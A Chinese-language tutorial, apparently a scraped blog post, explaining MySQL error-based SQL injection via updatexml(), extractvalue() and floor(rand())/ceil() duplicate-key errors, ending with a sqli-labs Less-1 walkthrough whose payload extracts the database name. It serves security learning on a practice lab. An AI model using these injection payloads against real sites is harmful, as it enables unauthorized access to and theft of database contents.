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公司部門解散怎么賠償員工,seo推薦,鄭田生網(wǎng)站建設(shè)及維護(hù),十大抖音代運(yùn)營(yíng)公司關(guān)注這個(gè)漏洞的其他相關(guān)筆記:SQL 注入漏洞 - 學(xué)習(xí)手冊(cè)-CSDN博客 0x01:報(bào)錯(cuò)盲注 —— 理論篇 報(bào)錯(cuò)盲注(Error-Based Blind SQL Injection)是一種常見的 SQL 注入技術(shù),適用于那些頁(yè)面不會(huì)直接顯示后端處理結(jié)果的查詢方式…

關(guān)注這個(gè)漏洞的其他相關(guān)筆記:SQL 注入漏洞 - 學(xué)習(xí)手冊(cè)-CSDN博客

0x01:報(bào)錯(cuò)盲注 —— 理論篇

報(bào)錯(cuò)盲注(Error-Based Blind SQL Injection)是一種常見的 SQL 注入技術(shù),適用于那些頁(yè)面不會(huì)直接顯示后端處理結(jié)果的查詢方式,比如 delete、insert、update

報(bào)錯(cuò)盲注的攻擊原理:攻擊者通過(guò)向 SQL 查詢中注入特定的函數(shù),迫使數(shù)據(jù)庫(kù)在執(zhí)行查詢時(shí)產(chǎn)生錯(cuò)誤,并利用這些錯(cuò)誤信息將攻擊者所需要的信息回顯回來(lái)。

0x0101:MySQL 報(bào)錯(cuò)盲注 — 相關(guān)函數(shù)

1. updatexml() — xpath 報(bào)錯(cuò)注入

1.1 updatexml() 函數(shù)簡(jiǎn)介

MySQL 中的 updatexml() 函數(shù)用于更新 XML 文檔的指定部分并返回修改后的文檔。在需要更改存儲(chǔ)在數(shù)據(jù)庫(kù)中的 XML 數(shù)據(jù)的情況下,它特別有用:

?-- updatexml() 語(yǔ)法UPDATEXML(xml_target, xpath_expr, new_xml)?-- updatexml() 參數(shù)解析xml_target : 將要被修改的 XML 文檔xpath_expr : 指定要更新的 XML 文檔部分的 XPath 表達(dá)式new_xml ?  : 將替換 xpath_expr 指定的現(xiàn)有內(nèi)容的新 XML 內(nèi)容

以下是該函數(shù)的一個(gè)正確的使用示例:

?-- 將原 XML 文檔中的 <name>John</name> 替換為 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');

1.2 updatexml() 報(bào)錯(cuò)原理

使用 updatexml() 函數(shù)時(shí),如果 xpath_expr 格式出現(xiàn)錯(cuò)誤,則 MySQL 將會(huì)爆出 xpath 語(yǔ)法錯(cuò)誤(xpath syntax),比如下面這個(gè)例子:

?select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');

1.3 updatexml() 報(bào)錯(cuò)實(shí)例

以下是一個(gè)使用 updatexml() 函數(shù)進(jìn)行報(bào)錯(cuò)注入的攻擊實(shí)例:

?select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);

2. extractvalue() — xpath 報(bào)錯(cuò)注入

2.1 extractvalue() 函數(shù)簡(jiǎn)介

MySQL 中的 extractvalue() 函數(shù)用于從目標(biāo) XML 文檔中提取和查詢指定部分的文檔:

?-- extractvalue() 語(yǔ)法EXTRACTVALUE(xml_document, xpath_expr)?-- extractvalue() 參數(shù)解析xml_document : 包含 XML 文檔的字符串或者一個(gè)列名xpath_expr ? : 指定要提取的節(jié)點(diǎn)的 xpath 表達(dá)式

以下是該函數(shù)的一個(gè)正確的使用示例:

?-- 查詢 XML 文檔中的 /root/name 節(jié)點(diǎn)中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');

2.2 extractvalue() 報(bào)錯(cuò)原理

使用 extractvalue() 函數(shù)時(shí),如果 xpath_expr 格式出現(xiàn)錯(cuò)誤,則 MySQL 將會(huì)爆出 xpath 語(yǔ)法錯(cuò)誤(xpath syntax),比如下面這個(gè)例子:

?SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');

2.3 extractvalue() 報(bào)錯(cuò)實(shí)例

以下是一個(gè)使用 extractvalue() 函數(shù)進(jìn)行報(bào)錯(cuò)注入的攻擊示例:

?insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);

3. floor() - 虛表主鍵重復(fù)報(bào)錯(cuò)

3.1 floor() 函數(shù)簡(jiǎn)介

MySQL 中的 floor() 函數(shù)用戶返回小于或等于指定數(shù)值的最大整數(shù):

-- floor() 語(yǔ)法
FLOOR(number)-- floor() 參數(shù)解析
number : 需要向下取整的數(shù)值表達(dá)式??梢允橇忻?、數(shù)值、算數(shù)表達(dá)式或函數(shù)返回值。

以下是該函數(shù)的一個(gè)正確的使用示例:

select floor(4.7);

3.2 floor() 報(bào)錯(cuò)原理

floor() 報(bào)錯(cuò)注入的原理是 group by 在向臨時(shí)表中插入數(shù)據(jù)時(shí),由于 rand() 多次計(jì)算導(dǎo)致插入臨時(shí)表時(shí)主鍵重復(fù),從而報(bào)錯(cuò)。又因?yàn)閳?bào)錯(cuò)前 concat() 中的 SQL 語(yǔ)句或者函數(shù)被執(zhí)行,所以該語(yǔ)句報(bào)錯(cuò)時(shí)拋出的主鍵是 SQL 語(yǔ)句或函數(shù)執(zhí)行后的結(jié)果。

關(guān)聯(lián)函數(shù)

  • rand() / rand(N):產(chǎn)生 0~1 (包含 0 和 1)之間的隨機(jī)數(shù)。若指定一個(gè)整數(shù)參數(shù) N,則它被作用為種子值,用來(lái)產(chǎn)生重復(fù)序列。

  • count(*):返回表的記錄數(shù)(行數(shù))

  • concat():將多個(gè)字符串連接成一個(gè)字符串

  • group_by:根據(jù) by 對(duì)數(shù)據(jù)按照指定字段進(jìn)行分組(去重),會(huì)建立一張臨時(shí)表。

  • ceil():向上取整

3.2.1 floor() 報(bào)錯(cuò)需要滿足的條件
  • floor() 報(bào)錯(cuò)注入在 MySQL 版本 8.0 已失效,據(jù)說(shuō)在 7.3.4nts 中也已經(jīng)失效了。

  • floor() 報(bào)錯(cuò)注入中查詢用到的數(shù)據(jù)表內(nèi)的數(shù)據(jù)必須 >=3 條。

  • 以下函數(shù)未被 WAF 過(guò)濾:count(*)、floor() 或 ceil()、rand()、group by。

3.2.2 floor() 報(bào)錯(cuò)原理 - 前置知識(shí)

在介紹 floor() 報(bào)錯(cuò)原理之前,我們先來(lái)了解一下 MySQL 中的 count() 函數(shù)與 group by 結(jié)合使用時(shí)的工作流程。

首先,將下面的語(yǔ)句復(fù)制到數(shù)據(jù)庫(kù)中,我們先搭建一個(gè)用于測(cè)試測(cè)環(huán)境:

-- 創(chuàng)建 users 數(shù)據(jù)表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入測(cè)試數(shù)據(jù)
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);

接下來(lái),輸入下面的語(yǔ)句,來(lái)看一下 count(*)group by 聯(lián)合使用的結(jié)果:

mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname  | count(*) |
+--------+----------+
| admin  |        2 |
| admin1 |        1 |
| admin2 |        1 |
+--------+----------+
3 rows in set (0.00 sec)

讓我們來(lái)分析一下,產(chǎn)生此結(jié)果的流程(這對(duì)后續(xù)理解 floor() 報(bào)錯(cuò)注入很重要)。

當(dāng) count(*)group by 碰到一起時(shí),MySQL 會(huì)建立一個(gè)虛擬表,那時(shí)的工作流程如下:

首先 MySQL 會(huì)建立一個(gè)空的虛擬表,key 為主建,不可重復(fù)(這里的 key 你可以理解為 分組字段,比如 group by uname,key 就是分組字段,也就是 uname),此時(shí)的虛表長(zhǎng)這樣:

keycount(*)

接下來(lái),MySQL 會(huì)根據(jù)分組字段到虛表的 key 中查詢,如果 key 中沒有相同的數(shù)據(jù),就將該數(shù)據(jù)添加進(jìn)虛擬表中,并設(shè)置 count 為 1。比如,此時(shí)分組字段是 unameusers 數(shù)據(jù)表中第一個(gè) uname 值為 admin,虛表中的 key 中不存在 admin,所以就將此值直接添加進(jìn)虛擬表中,并設(shè)置 count 為 1,此時(shí)的虛擬表長(zhǎng)這樣:

keycount(*)
admin1

然后 MySQL 會(huì)繼續(xù)查看 users 數(shù)據(jù)表的下一個(gè) uname 值,如果該值在虛擬表的 key 中沒有,則繼續(xù)將該值添加進(jìn)虛擬表中,并設(shè)置其 count(*) 值為 1:

keycount(*)
admin1
admin11

以此類推,直到碰到下一個(gè) uname 的值為 admin 前,虛擬表中的數(shù)據(jù)如下:

keycount(*)
admin1
admin11
admin21

如果在虛擬表的 key 中遇到相同的數(shù)據(jù),則 MySQL 不會(huì)對(duì)數(shù)據(jù)進(jìn)行插入,而是會(huì)對(duì) count(*) 進(jìn)行加 1 的操作。比如,此時(shí)在 users 數(shù)據(jù)表中又遇到了 uname 值為 admin,該值在虛表中是存在的,所以此時(shí)的虛表就變成了如下格式:

keycount(*)
admin1 + 1
admin11
admin21

流程還是很簡(jiǎn)單的,下面我們開始真正進(jìn)入 floor() 報(bào)錯(cuò)注入的原理。在此之前,請(qǐng)記住虛表的一個(gè)特性:主鍵不能重復(fù)!

3.2.3 group by floor(rand(0) * 2) 報(bào)錯(cuò)原理

該語(yǔ)句報(bào)錯(cuò)的主要原因如下:

  1. group by 產(chǎn)生的虛表中,主鍵不能重復(fù)。

  2. rand(0) 函數(shù)執(zhí)行的比 group by 插入虛擬表的速度要快。

  3. floor(rand(0) * 2) 結(jié)果是存在規(guī)律的,規(guī)律為:0110110011....,主要是前五個(gè)。

MySQL 官方提示:查詢的時(shí)候使用 rand(),該值會(huì)被計(jì)算多次!

這里的計(jì)算多次,在 floor() 報(bào)錯(cuò)中的理解如下:

在使用 group by 時(shí),floor(rand(0) * 2) 會(huì)被執(zhí)行一次,如果虛表中不存在記錄,插入虛表時(shí)會(huì)再執(zhí)行一次。

為了便于理解,我們先舉一個(gè)特殊的例子:

-- 01. 隨便選擇一個(gè)數(shù)據(jù)庫(kù),創(chuàng)建一個(gè)空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入兩條數(shù)據(jù),注意,只要插入兩條
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的數(shù)據(jù)
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
|                  0 | admin  | 0Look Me                              |
|                  1 | admin1 | 1Look Me                              |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直覺的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me                              |        2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)

上面 04 實(shí)例所展示的結(jié)果,是不是與我們的直覺相反,從 03 來(lái)看 concat(floor(rand(0) * 2), "Look Me") 查詢出來(lái)的結(jié)果依次是:0Look Me1Look Me,所以按照道理,在計(jì)數(shù)時(shí),最終展示的表格內(nèi)容應(yīng)該如下:

xcount(*)
0Look Me1
1Look Me1

但事實(shí)卻是,1Look Me 被計(jì)數(shù)了兩次。接下來(lái),我們來(lái)理理為什么會(huì)出現(xiàn)這種結(jié)果。

先來(lái)看看下面這條語(yǔ)句的執(zhí)行結(jié)果:

mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me                              |
| 1Look Me                              |
+---------------------------------------+
2 rows in set (0.00 sec)

當(dāng)我們?yōu)槠湓黾?count(*)group by 后 MySQL 的運(yùn)算過(guò)程如下:

首先,MySQL 會(huì)建立一張?zhí)摫?#xff0c;concat(floor(rand(0) * 2), "Look Me") 是主鍵,里面的值不可重復(fù)(我們將 concat(floor(rand(0) * 2), "Look Me") 簡(jiǎn)記為 Key,方便講解):

concat(floor(rand(0) * 2), "Look Me")count(*)

floor(rand(0) * 2) 結(jié)果序列:0110110011....

接下來(lái),MySQL 會(huì)讀取第一行 Key 的內(nèi)容和虛表中的 Key 值進(jìn)行比對(duì),此時(shí),MySQL 進(jìn)行了第一次計(jì)算 concat(floor(rand(0) * 2), "Look Me"),得到結(jié)果為 0LookMe。MySQL 發(fā)現(xiàn)此值并不在虛表中存在,所以決定將此值插入到虛表中,并設(shè)置 count 值為 1。但是,就在 MySQL 準(zhǔn)備將計(jì)算結(jié)果插入虛表時(shí),由于 MySQL 的 Bug,導(dǎo)致 concat(floor(rand(0) * 2), "Look Me") 在插入之前又被計(jì)算了一次(第二次計(jì)算),導(dǎo)致 MySQL 實(shí)際插入的值為 1LookMe,此時(shí)虛表中實(shí)際的內(nèi)容為:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1

接著,MySQL 讀取第二行 Key 的內(nèi)容和虛表中的 Key 值進(jìn)行比對(duì),此時(shí),MySQL 第三次計(jì)算了 concat(floor(rand(0) * 2), "Look Me"),得到結(jié)果為 1LookMe,該值在虛表中存在,所以 MySQL 就會(huì)直接執(zhí)行插入操作(因?yàn)橹翟谔摫碇写嬖?#xff0c;所以不會(huì)觸發(fā) rand() 多次計(jì)算的 BUG),所以此時(shí)虛表展示的最終結(jié)果為:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1+1

這就是為什么最終我們看到的,和實(shí)際我們想象的不一樣的原因。

接下來(lái),我們往測(cè)試表中再次插入一條數(shù)據(jù),觸發(fā) floor() 報(bào)錯(cuò):

insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin  | 0Look Me                              |
| admin1 | 1Look Me                              |
| admin2 | 1Look Me                              |
+--------+---------------------------------------+
3 rows in set (0.00 sec)

繼續(xù)之前的分析,MySQL 讀取第三行數(shù)據(jù),第四次計(jì)算 concat(floor(rand(0) * 2), "Look Me") 的值為 0Look Me,MySQL 發(fā)現(xiàn)虛表中沒有該值對(duì)應(yīng)的 Key,所以,準(zhǔn)備執(zhí)行插入操作。但是就在執(zhí)行插入操作之前,由于 MySQL 的 Bug,其第五次計(jì)算了 concat(floor(rand(0) * 2), "Look Me"),導(dǎo)致實(shí)際插入的結(jié)果為 1Look Me,此時(shí)的虛表變成了:

xconcat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me2
1Look Me?

可以看到,MySQL 認(rèn)為自己插入的是 0Look Me,但是由于 Bug,導(dǎo)致實(shí)際插入的是 1Look Me,而 1Look Me 在虛表中是存在的,由于虛表的 Key 唯一的特性,所以 MySQL 此時(shí)就會(huì)產(chǎn)生報(bào)錯(cuò):

select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");

3.3 floor() 報(bào)錯(cuò)實(shí)例

以下是一個(gè)使用 floor() 函數(shù)進(jìn)行報(bào)錯(cuò)注入的攻擊示例:

select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;

4. ceil() - 虛表主鍵重復(fù)報(bào)錯(cuò)

4.1 ceil() 函數(shù)簡(jiǎn)介

MySQL 中的 ceil() 函數(shù)用于返回大于或等于指定數(shù)值的最小整數(shù):

-- ceil() 語(yǔ)法
CEIL(number)-- ceil() 參數(shù)解析
number : 需要向上取整的數(shù)值表達(dá)式??梢允橇忻?shù)值、算數(shù)表達(dá)式或函數(shù)返回值。

以下是該函數(shù)的一個(gè)正確的使用示例:

select ceil(4.1);

4.2 ceil() 報(bào)錯(cuò)原理

ceil() 報(bào)錯(cuò)注入的原理與上面講解的?floor() 報(bào)錯(cuò)原理?一致,所以這里就不多說(shuō)了。

4.3 ceil() 報(bào)錯(cuò)實(shí)例

以下是一個(gè)使用 ceil() 函數(shù)進(jìn)行報(bào)錯(cuò)注入的攻擊實(shí)例:

select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;

0x02:報(bào)錯(cuò)盲注 —— 實(shí)戰(zhàn)篇

本節(jié)重點(diǎn)在于熟悉報(bào)錯(cuò)盲注的注入流程,以及注入原理。練習(xí)靶場(chǎng)為 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶場(chǎng)的配套資源如下(附安裝教程):

實(shí)驗(yàn)工具準(zhǔn)備

  • PHP 運(yùn)行環(huán)境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶場(chǎng):sqli-labs-php7.zip(安裝教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)

0x0201:第一階段 — 判斷注入點(diǎn)

靶場(chǎng)提示 Please input the ID as parameter with numeric value 要我們輸入一個(gè)數(shù)字型的 ID 作為參數(shù)進(jìn)行查詢,那我們就按它的意思傳入 id 看看網(wǎng)頁(yè)返回的結(jié)果:

可以看到,服務(wù)器返回了對(duì)應(yīng) id 用戶的登錄名與登錄密碼。此時(shí),我們可以再輸入幾個(gè)數(shù)據(jù)進(jìn)行測(cè)試:

測(cè)試 Payload 01: ?id=1  # 結(jié)果: Your Login name:Dumb      Your Password:Dumb
測(cè)試 Payload 02: ?id=2  # 結(jié)果: Your Login name:Angelina  Your Password:I-kill-you
測(cè)試 Payload 03: ?id=2-1 # 結(jié)果: Your Login name:Angelina  Your Password:I-kill-you
測(cè)試 Payload 04: ?id=1' # 結(jié)果: 報(bào)錯(cuò)

可以看到,當(dāng)我們傳遞 Payload 04 給服務(wù)器后端時(shí),頁(yè)面顯示了報(bào)錯(cuò)信息,并且還返回了部分后端的查詢模板。

0x0202:第二階段 — 報(bào)錯(cuò)盲注漏洞利用

既然能顯示報(bào)錯(cuò)信息,那么本關(guān)我們就可以直接使用報(bào)錯(cuò)注入(使用 Union 聯(lián)合注入也是可以的,但是,從本關(guān)的名稱 Error based 就可以看出,本關(guān)的考點(diǎn)是報(bào)錯(cuò)注入),攻擊 Payload 如下:

-- 獲取當(dāng)前服務(wù)器正在使用的數(shù)據(jù)庫(kù)的名稱
攻擊 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
筆者備注: 0x7e 是字符 ~ 號(hào),用于標(biāo)識(shí)服務(wù)器報(bào)出來(lái)的數(shù)據(jù)。

可以看到,我們已經(jīng)成功獲取了當(dāng)前站點(diǎn)使用的后端數(shù)據(jù)庫(kù)的信息。以上,就是報(bào)錯(cuò)盲注的基本利用方式。后面想查啥,直接往報(bào)錯(cuò)注入的回顯點(diǎn)里寫就可以了,筆者在這里就不多說(shuō)了。

http://m.aloenet.com.cn/news/31669.html

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